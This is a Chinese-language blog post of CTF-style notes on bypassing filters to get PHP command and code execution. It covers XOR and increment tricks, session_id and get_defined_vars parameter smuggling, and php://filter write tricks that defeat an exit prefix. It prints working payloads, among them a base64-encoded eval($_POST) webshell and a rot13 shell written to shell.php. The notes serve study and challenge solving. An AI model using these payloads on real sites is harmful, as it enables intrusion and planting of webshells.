命令,代码执行漏洞进阶

发布于 2022-11-22  607 次阅读


重定向符

>或 1>输出重定向,会清楚文件里所有的数据,增加新的内容
>> 或 1>> 追加输出重定向,文件的结尾加入内容,不会删除已有的文件数据

1<>1可以创建文件名为1的文件

通配符

*和?只能用于文件名,不能用于函数名
可以用存储函数的文件所在的位置来代替函数名,从而使用统配符
如:/usr/bin/cat 代替cat:/usr/bin/c* /f*

查看这些函数所在的文件的位置可以使用type命令

管道符(第二次报告已提到)

php短标签

<?是PHP的一个短的开放式标签

php被过滤可以<?payload?>

?=被过滤可以用phtml的<language=php>

<?=相当于<?php echo

在<sql注入,命令/代码执行的拓展>中提到了这个标签的一种应用

php反引号

反引号内的语句被dos执行
如:echo `ls`

无字母数字rce

取反(详细见2019极客大挑战报告)

异或

  • 原理
字符:?         ASCII码:63           二进制:  0011 1111
字符:~         ASCII码:126          二进制:  0111 1110
异或规则:
1   XOR   0   =   1
0   XOR   1   =   1
0   XOR   0   =   0
1   XOR   1   =   0
上述两个字符异或得到 二进制:  0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A
  • 一个查看异或对应规则的脚本
贴一个可以获取异或拼接规则的脚本:

def r_xor():
    for i in range(0,127):
        for j in range(0,127):
            result=i^j
            print("  "+chr(i)+" ASCII:"+str(i)+' <--xor--> '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result))
if __name__ == "__main__":
    r_xor()
  • 使用方法
比如:脚本得到
{ ASCII:123 <--xor--> A ASCII:65 == : ASCII:58
{ ASCII:123 <--xor--> B ASCII:66 == 9 ASCII:57
说明{和:异或可以得到A
{和9异或可以到的B
  • 最终格式
格式:
<?php
$a=('{'^':');
echo $a;
$b=('{'^'9');
echo $b;
?>

比如
('{'^':).('{'^'9)等价于AB

(文末将会贴一份异或规则)

自增

  • 通过对变量初始的赋值,来进行自增运算从而获取所有字符
  • 注意:自增不能--只能++,一旦有新的较小字符就只能定义一个新的变量,所以尽量在一个变量自增的过程中把较多的变量得到
得到A字符:
$_=[].'';   //得到"Array"//经过测试,除了[],其他符号都不行
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"

如果想要得到别的字符:
$_=$_++     //得到B

得到数字:
$_      //得到了0
$_++        //得到了1

无参数rce

  • 后面在<sql注入,命令/代码执行的拓展>会提到,此方法的实现必须要求题目提供的是代码执行漏洞而不是命令执行漏洞
  • 正则实现方法
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['a']))

/[^\W]+匹配所有非单词字符
(?R)?无限递归
\(匹配(
\)匹配)

合一起就是说匹配所有()里面的参数,如果有函数(括号)嵌套,就匹配到完为止

session_id

  • php中有一个函数叫session_id(),可以直接获取到cookie中的phpsessionid值,phpsessionid的组成符号有限定,不能使用 ’ () ',所以我们需要将我们要执行的命令转换成16进制,然后再通过hex2bin函数转换回去.
先把想要的函数转换成16进制
<?php
echo bin2hex('phpinfo();');  //得到706870696e666f28293b

然后传入命令?cmd=eval(hex2bin(session_id(session_start()))); //注意加分号

burp抓包,给cookkie字段添加phpssid=706870696e666f28293b即可

get_defined_vars ()函数

  • get_defined_vars():返回由所有已定义变量所组成的数组,正则通常处理的是指定的参数,但是,可以传入正则没有处理的参数,并且使用此函数将传入的参数的值给被正则限制的参数
  • 在测试中,类似于print_r(current(next(reset(get_defined_vars()))));的嵌套语句全部都会报错,然而一般情况下,我们也只传两组参数,所以只有开头和结尾两个数组元素,只需要用到reset和end就可以辣
首先传入一个打印函数找到间接传参的位置,并且传入一个间接参数
?cmd=print_r(current(get_defined_vars()));&a=system('cat flag');

得到了所有变量的数组,接下来通过数组的指针操作函数,得到间接变量的参数
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。

比如:system('cat flag')在数组的第二个,就可以
?cmd=print_r(current(next(reset(get_defined_vars()))));&a=system('cat flag');
此时,cmd等价于a等价于system('cat flag')

代码执行转命令执行

  • 页面提供代码执行,同时常用的system函数被ban,这时候可以用以下函数的格式来代替
//system('dir');

// exec ('dir');

// passthru ('dir');

// echo `dir`;

结果输出到黑洞的绕过

  • 一些linux输出控制语句
0:表示键盘输入(stdin)
1:表示标准输出(stdout),系统默认是1
2:表示错误输出(stderr)

command >/dev/null 2>&1 &  == command 1>/dev/null 2>&1 &

1)command:表示shell命令或者为一个可执行程序
2)>:表示重定向到哪里
3)/dev/null:表示Linux的空设备文件
4)2:表示标准错误输出
5)&1:&表示等同于的意思,2>&1,表示2的输出重定向等于于1
6)&:表示后台执行,即这条指令执行在后台运行

1>/dev/null:表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。
2>&1:表示标准错误输出重定向等同于标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

这条命令的意思就是在后台执行这个程序,并将错误输出2重定向到标准输出1,然后将标准输出1全部放到/dev/null文件,也就是清空.
所以可以看出" >/dev/null 2>&1 "常用来避免shell命令或者程序等运行中有内容输出。
  • 题目通过这种方式控制输出直接%00截断或者%0a就可以了

filter协议死亡绕过

filter协议支持read和write两种方法,同时支持许多过滤器,除了简单的base64读php文件的操作外,filter协议还可以利用write方法写入木马或者进行死亡绕过

其基本格式为:
php://filter/read(或write)=xxxxxxx/resource=xxxxxxx

base64过滤器绕过

  • 这类代码允许我们写入文件,但是即使写入一句话木马也不能被执行
<?php
$content = $_POST['content'];
file_put_contents($_GET['filename'], "<?php exit; ?>".$content);
  • 如果我们直接写入代码,exit就会被执行,所以考虑base64编码,但是编码后,写入的php依然不能被执行,查看文件,发现文件变成了乱码,下面来分析原因
base64编码中只包含64个可打印字符,而当PHP在解码base64时,遇到不在其中的字符时,会选择跳过这些字符,将有效的字符重新组成字符串进行解码。

例如:

<?php
$str = "THh4eA==";
echo base64_decode($str);
?>

得到结果:Lxxx

如果我们在str变量中添加一些不可见的字符或者是不可解码字符(x00,?)

<?php
$str = "TH?h4eA==";
echo base64_decode($str);
?>

得到的结果仍然为:Lxxx
  • 两次的字符串不一样,但是打印的结果却是一样的,说明对于一些字符串,base64编码不能进行处理
因此,对于死亡之exit中的代码,字符<、?、;、>、空格等字符不符合base64解码范围。最终解码符合要求的只有phpexit这7个字符,而base64在解码的时候,是4个字节一组,因此还少一个,所以我们将这一个手动添加上去。
  • 通过这种方式手动添加不符合base64的字符,不会改变exit函数变成乱码的结果,但是,后面的正常字符串就不会变成乱码从而可以正常运行,然后使用filter协议把文件base64解码后运行即可
?filename=php://filter/convert.base64-decode/resource=1.php
然后post一个content=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

content中第一个字符a就是我们添加的

rot13过滤器绕过

  • rot13加密就是将ascll向后移13位,filter协议支持这个加密
<?cuc cucvasb();?>是<?php phpinfo();?>的加密字符串
写入这个字符串(可以通过fileter协议写,也可以使用题目提供的接口写),然后用filter协议搭配rot13过滤器就可以将exit转变成错误的编码从而不会被执行,而输入的加密字符串则会解密
写入:
php://filter/write=string.rot13|<?cuc cucvasb();?>/resource=shell.php
执行:
php://filter/read=string.rot13/resource=shell.php
届ける言葉を今は育ててる
最后更新于 2024-02-07